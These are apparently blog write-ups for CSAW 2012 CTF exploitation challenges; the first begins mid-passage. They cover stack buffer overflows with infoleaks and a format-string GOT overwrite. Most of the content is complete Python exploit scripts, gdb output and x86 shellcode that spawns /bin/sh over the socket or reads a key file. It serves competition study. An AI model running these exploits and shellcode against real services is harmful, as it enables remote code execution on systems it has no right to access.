Answer: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A

We get a crash in gdb:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 30662]
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0xB7FC3FF4  ECX: 0xFFFFFFC8  EDX: 0x00000009  o d I t S z a P c
  ESI: 0xBFFFF2E0  EDI: 0xBFFFF6E0  EBP: 0x39624138  ESP: 0xBFFFF620  EIP: 0x41306341
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0x41306341
0x41306341 in ?? ()

Calculate buffer length using the crash EIP:

$ /opt/framework-4.0.0/msf3/tools/pattern_offset.rb 0x41306341                                          
60

Perfect! We can control EIP. Where can we jump now ?

$ eu-readelf -l challenge1b
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz  MemSiz   Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x000013 0x000013 R   0x1
  [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00154c 0x00154c R E 0x1000
  LOAD           0x001f14 0x0804af14 0x0804af14 0x00018c 0x000194 RW  0x1000
  DYNAMIC        0x001f28 0x0804af28 0x0804af28 0x0000c8 0x0000c8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x000044 0x000044 R   0x4
  GNU_EH_FRAME   0x0012c4 0x080492c4 0x080492c4 0x000084 0x000084 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x000000 0x000000 RWE 0x4
  GNU_RELRO      0x001f14 0x0804af14 0x0804af14 0x0000ec 0x0000ec R   0x1

Stack is again RWE like in Exploit 300 and 400!

Our problem is that the answer buffer is quite small, 40 bytes. But buffer2 is gigantic with 1024 bytes. So our strategy will be to do an infoleak to get the offset of our shellcode stored in buffer2.

We will fake parameters pushed on the stack and then call send() to get a dump of the stack layout and locate our shellcode.

Our payload will be as follow:

[TOTO\N]['A' * 60][EIP send()][FD][OFFSET][LENGTH][FLAGS][NOP][SHELLCODE]

We will get a stack dump and then we can look for the nopsled into it to locate the start of our shellcode:

WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

'Category: Movies\t **Answers can have spaces & case insensitive**\n\nWarGames: ______ was the game Joshua needed to play to learn\n"not to play is the best option".\nAnswer: '
INFOLEAK
"WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "
'H\xcb\xfd\xb7\xf4\xef\xff\xb7\xd0\xfa\xff\xb7$\xf1\xff\xbf\xe0\xf0\xff\xbf\xc9~\xfe\xb7\xc0\xf0\xff\xbfl\x83\x04\x08\xa8\xf0\xff\xbft\xfa\xff\xb7\x00\x00\x00\x00H\xcb\xfd\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x18\xf9\xff\xb7\xc8\xf0\xff\xbft\xfa\xff\xb7\x00\x00\x00\x00H\xcb\xfd\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x18\xf9\xff\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\xf1\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x18\xf9\xff\xb7\xf8\x83\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xf1\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x18\xf9\xff\xb7\xb5\x83\x04\x08\x00\x00\x00\x00\xa8\x94\xe3\xb7X\xc8\xfd\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x98_\xe3\xb7X\xc8\xfd\xb7\x00\x00\x00\x00\xf4\xef\xff\xb7\x18\xf9\xff\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x8b\xc2\xfe\xb7\xd0\xfa\xff\xb7H\xcb\xfd\xb7\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x8b\xc2\xfe\xb7\xd0\xfa\xff\xb7\x00\x00\x00\x00\x8c\x83\x04\x08d\xb0\x04\x08\x00\x00\x00\x00\xbf]\xee\xb7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00AAAA\xf4/\xfd\xb7d\xf1\xff\xbfq\xe5\xf1\xb7\x90\x86\x04\x08\x04\x00\x00\x00\x00\xf0\xff\xbf\xff\x0f\x00\x00@\x00\x00\x001\xc01\xdb1\xc9\xb1\x03\xfe\xc9\xb0?\xb3\x04\xcd\x80u\xf61\xc0Ph//shh/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x801\xc0@V\x88\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10|\xf2\xff\xbf\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\xdb\x9d^\x17\x8d\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x02\x0009\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00p\xd2\xfe\xb7\x00\x00\x00\x00x\xf2\xff\xbfO\x88\x04\x08\xb0\x8e\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\xd3\xb4\xe4\xb7\x01\x00\x00\x00\x14\xf3\xff\xbf\x1c\xf3\xff\xbfX\xc8\xfd\xb7\x00\x00\x00\x00\x1c\xf3\xff\xbf\x1c\xf3\xff\xbf\x00\x00\x00\x00\x8c\x83\x04\x08\xf4/\xfd\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xcc\x86\rh\xdc\xa2\x81^\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x90\x87\x04\x08\x00\x00\x00\x00\xa0&\xff\xb7\xe9\xb3\xe4\xb7\xf4\xef\xff\xb7\x01\x00\x00\x00\x90\x87\x04\x08\x00\x00\x00\x00\xb1\x87\x04\x08D\x88\x04\x08\x01\x00\x00\x00\x14\xf3\xff\xbf\xb0\x8e\x04\x08 \x8f\x04\x08p\xd2\xfe\xb7\x0c\xf3\xff\xbf\x18\xf9\xff\xb7\x01\x00\x00\x00=\xf4\xff\xbf\x00\x00\x00\x00J\xf4\xff\xbfV\xf4\xff\xbff\xf4\xff\xbfq\xf4\xff\xbf\x92\xf9\xff\xbf\xa1\xf9\xff\xbf\xaf\xf9\xff\xbf\xa4\xfe\xff\xbf\xb2\xfe\xff\xbf\xc7\xfe\xff\xbf\x14\xff\xff\xbf*\xff\xff\xbf:\xff\xff\xbfK\xff\xff\xbfS\xff\xff\xbfh\xff\xff\xbfy\xff\xff\xbf\x87\xff\xff\xbf\x90\xff\xff\xbf\xb0\xff\xff\xbf\xbe\xff\xff\xbf\xe0\xff\xff\xbf\x00\x00\x00\x00 \x00\x00\x00\x14\xd4\xfd\xb7!\x00\x00\x00\x00\xd0\xfd\xb7\x10\x00\x00\x00\xff\xfb\xeb\x0f\x06\x00\x00\x00\x00\x10\x00\x00\x11\x00\x00\x00d\x00\x00\x00\x03\x00\x00\x004\x80\x04\x08\x04\x00\x00\x00 \x00\x00\x00\x05\x00\x00\x00\t\x00\x00\x00\x07\x00\x00\x00\x00\xe0\xfd\xb7\x08\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x90\x87\x04\x08\x0b\x00\x00\x00\xe9\x03\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\xe9\x03\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x1b\xf4\xff\xbf\x1f\x00\x00\x00\xef\xff\xff\xbf\x0f\x00\x00\x00+\xf4\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\xa9R\xd4C\xf4\xcb\xd9\x04\xdd\x8ds\xb0\xcbRfi686\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00./challenge1\x00TERM=screen\x00SHELL=/bin/bash\x00USER=csaw1\x00LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;3'
Found shellcode at 0xbffff174L

Easy. We can now exploit this by using 0xbffff174 as the EIP in the payload:

len shellcode= 46
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game
'Category: Movies\t **Answers can have spaces & case insensitive**\n\nWarGames: The password David used to access the school computers was _____\nAnswer: '
"WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "
'key{Something_different_from_strcpy}'

Exploit code:

import socket
import struct
from struct import pack
import time
import sys

host = sys.argv[1]
infoleak = int(sys.argv[2])

# dup2(4)
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# execve
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

print "len shellcode=", len(shellcode)

# challenge box
esp = 0xbffff174
# local gdb
#esp = 0xbffff234

if infoleak == 1:
  ret = pack("<I", 0x08048780) # _send
else:
  ret = pack("<I", esp)

size = 0xfff
offset = 0xbffff000

ebp = pack("<I", esp)

if infoleak == 0:
  payload = ebp * (60/4) + ret
else:
  payload = 'A' * 60 + ret

payload += pack('L', 0x8048690) # exit

payload += pack('L', 0x4) # fd
payload += pack('L', offset)
payload += pack('L', size) # len
payload += pack('L', 0x40) # flags

payload  += shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,12345))

data = s.recv(1024)
print data

s.send("TOTO\n")
time.sleep(1)
s.send(payload)
time.sleep(1)
s.send("\ncat key\n")

data = s.recv(256) # discard

print repr(data)

data = s.recv(len("WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "))

print repr(data)

if infoleak == 0:
  while True:
    stack = s.recv(size)
    print repr(stack)
    if not stack:
      break
  sys.exit(0)

stack = s.recv(size)

print repr(stack)

for i in xrange(0, size - 1):
  if stack[i] == '\x31' and stack[i+1] == '\xc0':
    print "Found shellcode at ", hex(offset + i)
    break

while True:
  data = s.recv(65536)
  print repr(data)
  if not data:
    break
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4Oct/12Off

CSAW 2012 CTF – Exploit 400 Write-up

Posted by aXs

We have a binary with a format string vulnerability:

$ nc localhost 23456
What would be the last word you want say before the Mayan Calender ends?
Saying: %p %p %p %p
Starting count down to the end of the world!
  5
  4
  3
  2
  1
  0
      ooO
          ooOOOo
        oOOOOOOoooo
     ooOOOooo
    /vvv\
         /V V V\
        /V  V  V\
       /     V   \
      /     VV    \    __________
     /        VVV  \    |    |
    /       VVVV    \   |(nil) 0xbf9bb444 0xb7787e58 0xd696910|
   /           VVVVV \    |__________|
      VVVVVVVVVVVVV       |

A format string vulnerability is fantastic tool for a GOT table overwrite. But what can we overwrite and where to jump ?

.bss:0804B100 _bss            segment para public 'BSS' use32
.bss:0804B120 ; char statement_4029[]
.bss:0804B120 statement_4029  db 200h dup(?)          ; DATA XREF: sdoomsday+27o
.bss:0804B120                                         ; sdoomsday+3Fo ...
.bss:0804B120 _bss            ends

Hmm.. Buffer in BSS, fixed offset ?

.text:08048B91                 mov     eax, [ebp+fd]
.text:08048B94                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048B9C                 mov     dword ptr [esp+8], 1FFh ; n
.text:08048BA4                 mov     dword ptr [esp+4], offset statement_4029 ; buf
.text:08048BAC                 mov     [esp], eax      ; fd
.text:08048BAF                 call    _recv

Lovely! User input is stored into the BSS section and this section is RWE !

So our format string will overwrite the GOT entry for send() and replace it with the offset of the user input buffer.

I lost a monumental amount of time with an exploit that was working perfectly on my local Debian Squeeze VM and would output nothing on the challenge box. I rewrote it several time with different strategies to no avail. One of our team member tried on his Ubuntu box and it wouldn't work either o_O .. so I fired up a CentOS VM and indeed, the format string had a off by one difference in the second argument. Making the exploit works on CentOS made it work on the Ubuntu and the challenge box. I don't really know what's up with Debian's libc.

The final layout (but probably many other layouts worked before I discovered the issue with the Debian box) :

[short relative JMP to Shellcode] [Format string] [Shellcode]

For the shellcode since there is a small filter, we will just use a XOR-encoded polymorphic shellcode.

#!/usr/bin/env python

import socket
import sys
import struct
from struct import pack
import time

shellcode = ''

# dup2(4) as our socket is fd 4
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"

# /bin/sh polymorphic
shellcode += "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"

host = sys.argv[1]
port = 23456

guess_mode = int(sys.argv[2])

def connect_to_host():
 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))

  print repr(s.recv(1024)) # banner
  print repr(s.recv(1024)) # banner

  return s

def exploit(payload):

  s = connect_to_host()

  s.send(payload + "\n")

  time.sleep(3)

  s.send("\nls -la\n")
  s.send("cat key\n")

  while True:
    data = s.recv(1024)
    if data:
      print repr(data)
    else:
      break

def do_fmt(payload):

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))

  print repr(s.recv(1024))
  print repr(s.recv(1024))

  s.send(payload + "\n")

  print "len payload=", len(payload)

  data = s.recv(len("Starting count down to the end of the world!\n"))

  for i in xrange(0,6):
    print repr(s.recv(32))
    time.sleep(1)
     
  data = s.recv(194)

  data = s.recv(4096)

  data = data[:-63]

  print repr(data)

  return data

format_string = "%.12d%6$n%.145d%7$n%.82d%8$nAAAA%9$n"

jump_distance = 4*4 + len(format_string) + 2 # jump over format string to shellcode

print "jump distance=", jump_distance

payload = '\xeb' + chr(jump_distance) + '\x90' * 2

payload += pack("<I", 0x804B068) # GOT table send()
payload += pack("<I", 0x804B069)
payload += pack("<I", 0x804B06A)
payload += pack("<I", 0x804B06B)

payload += format_string

payload += shellcode

exploit(payload)

time.sleep(5)
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3Oct/12Off

CSAW 2012 CTF – Exploit 300 Writeup

Posted by aXs

We have an interesting binary that uses signals to call functions. The most interesting handler is the user input handler:

(function names are my own, binary was stripped)

.text:080488C8 inputHandler    proc near               ; DATA XREF: sub_8048A3D+2Bo
.text:080488C8
.text:080488C8 s               = dword ptr -1Ch
.text:080488C8
.text:080488C8                 sub     esp, 1Ch
.text:080488CB                 mov     [esp+1Ch+s], offset aFBxpSpXpcuav ; "õ+íÕÅÀÞ»+ÕÅûÒÇé"
.text:080488D2                 call    _puts
.text:080488D7                 call    readUserInput
.text:080488DC                 add     esp, 1Ch
.text:080488DF                 retn
.text:080488DF inputHandler    endp

which call a function to read user input:

.text:0804889E readUserInput   proc near               ; CODE XREF: inputHandler+Fp
.text:0804889E
.text:0804889E fd              = dword ptr -15Ch
.text:0804889E buf             = dword ptr -158h
.text:0804889E nbytes          = dword ptr -154h
.text:0804889E var_146         = byte ptr -146h
.text:0804889E
.text:0804889E                 sub     esp, 15Ch
.text:080488A4                 mov     eax, ds:fd
.text:080488A9                 mov     [esp+15Ch+nbytes], 800h ; nbytes
.text:080488B1                 lea     edx, [esp+15Ch+var_146]
.text:080488B5                 mov     [esp+15Ch+buf], edx ; buf
.text:080488B9                 mov     [esp+15Ch+fd], eax ; fd
.text:080488BC                 call    _read
.text:080488C1                 add     esp, 15Ch
.text:080488C7                 retn
.text:080488C7 readUserInput   endp

Looks like we have a buffer overflow there Lets check it.

$ nc localhost 4842
这部分并不难,但我希望你有乐趣。如果你给我大量的数据,它可能是一件坏事会发生.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar

Breakpoint in read and check the stack before the return

db$ stepi
--------------------------------------------------------------------------[regs]
  EAX: 0x00000201  EBX: 0x0000595F  ECX: 0xBFFFF216  EDX: 0x00000800  o d I t S z a P c
  ESI: 0x00000000  EDI: 0xB7FC3FF4  EBP: 0xBFFFF678  ESP: 0xBFFFF35C  EIP: 0x080488C7
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x80488c7: ret    
   0x80488c8: sub    esp,0x1c
   0x80488cb: mov    DWORD PTR [esp],0x8048e23
   0x80488d2: call   0x80486b0 <puts@plt>
   0x80488d7: call   0x804889e
   0x80488dc: add    esp,0x1c
   0x80488df: ret    
   0x80488e0: push   edi
--------------------------------------------------------------------------------
0x080488c7 in ?? ()
gdb$ x/8x $esp
0xbffff35c: 0x396b4138  0x41306c41  0x6c41316c  0x336c4132
0xbffff36c: 0x41346c41  0x6c41356c  0x376c4136  0x41386c41

Stack smashed. Calculate buffer length for EIP control:

$ /opt/framework-4.0.0/msf3/tools/pattern_offset.rb 0x396b4138
326

Now how can we exploit this buffer overflow to get the key ?

Checking the ELF headers:

$ eu-readelf -l exp300c.txt
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz  MemSiz   Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x000013 0x000013 R   0x1
  [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00121c 0x00121c R E 0x1000
  LOAD           0x001f14 0x0804af14 0x0804af14 0x00015c 0x00016c RW  0x1000
  DYNAMIC        0x001f28 0x0804af28 0x0804af28 0x0000c8 0x0000c8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x000044 0x000044 R   0x4
  GNU_EH_FRAME   0x000f9c 0x08048f9c 0x08048f9c 0x000094 0x000094 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x000000 0x000000 RWE 0x4
  GNU_RELRO      0x001f14 0x0804af14 0x0804af14 0x0000ec 0x0000ec R   0x1

Stack is RWE! So we will put our shellcode in the buffer (and on the stack) and jump to ip.

To get the right offset on the stack, we will fake parameters push on the stack and call send() to get dump of various memory ranges.

The way I went for it is to write a scanner with this infoleak. It will quickly scan the usual range for the stack (0xbfffffff) until it finds some readable data then i will switch to a more precise scanning and look for the nopsled we have put in front of the shellcode. As soon we have the offset of the nopsled, we switch from infoleak to exploit and jump to the shellcode which dump the content of the key file.

#!/usr/bin/env python

import socket
import sys
import struct
from struct import pack

host = sys.argv[1]
port = 4842

shellcode =  "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73"
shellcode += "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x17\x00\x00"
shellcode += "\x00\x6c\x73\x20\x2d\x6c\x61\x3e\x26\x34\x20\x3b\x20\x63"
shellcode += "\x61\x74\x20\x6b\x65\x79\x3e\x26\x34\x00\x57\x53\x89\xe1"
shellcode += "\xcd\x80"

def connect_to_host():

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
 
  s.recv(132) # read banner

  return s

def exploit(offset):

  s = connect_to_host()

  payload = ('\x90' * 32) + shellcode
  payload += 'A' * (326 - len(payload))

  payload += pack("L", offset)

  s.send(payload)

  data = True

  while data:
    data = s.recv(1024)
    print repr(data)
   
  s.close()

def leak(offset, size):

  s = connect_to_host()

  off_send = pack("L", 0x08048770)

  payload = ('\x90' * 32) + shellcode
  payload += 'A' * (326 - len(payload))

  payload += off_send

  payload += pack('<I', 0x08048813) # exit

  payload += pack('<I', 0x4) # fd
  payload += pack('<I', offset)
  payload += pack('<I', size) # len
  payload += pack('<I', 0x40) # flags

  s.send(payload)

  result = ''
  data = True

  while data:
    data = s.recv(1024)
    result += data
   
  s.close()

  return result

print "Searching stack..."

off_shellcode_start = 0xbfffffff

data = ''

while data == '' or data == '\x00\x00\x00\x00':
  data = leak(off_shellcode_start, 4096)
  print "stack offset=", hex(off_shellcode_start), repr(data)
  if data == '' or data == '\x00\x00\x00\x00':
    off_shellcode_start -= 0xf000

print "Searching shellcode..."

data = ''

while data != '\x90\x90\x90\x90':
  data = leak(off_shellcode_start, 4)
  print "shellcode offset=", hex(off_shellcode_start), "data=", repr(data)
  if data != '\x90\x90\x90\x90':
    off_shellcode_start += 8

print "Exploiting at offset", hex(off_shellcode_start)

exploit(off_shellcode_start)

sys.exit(0)

Exploit output:

$ python exploit.py localhost
Searching stack...
stack offset= 0xbfffffffL ''
stack offset= 0xbfff0fffL ''
stack offset= 0xbffe1fffL ''
...
stack offset= 0xbfba9fffL ''
stack offset= 0xbfb9afffL '\x00\x00\x00\x00'
Searching shellcode...
shellcode offset= 0xbfb9afffL data= '\x00\x00\x00\x00'
shellcode offset= 0xbfb9b007L data= '\x00\x00\x00\x00'
...
shellcode offset= 0xbfb9cac7L data= '\xbf\x00\x08\x00'
shellcode offset= 0xbfb9cacfL data= '\x00\x04\x00\x00'
shellcode offset= 0xbfb9cad7L data= '\x90\x90\x90\x90'
Exploiting at offset 0xbfb9cad7L
'total 20\ndrwxr-xr-x  2 liaotian liaotian 4096 Sep 29 00:27 .\ndrwxr-xr-x 14 root     root     4096 Sep 29 00:27 ..\n-rw-r--r--  1 liaotian liaotian  220 Apr 10  2010 .bash_logout\n-rw-r--r--  1 liaotian liaotian 3184 Apr 10  2010 .bashrc\n-rw-r--r--  1 liaotian liaotian  675 Apr 10  2010 .profile\n'
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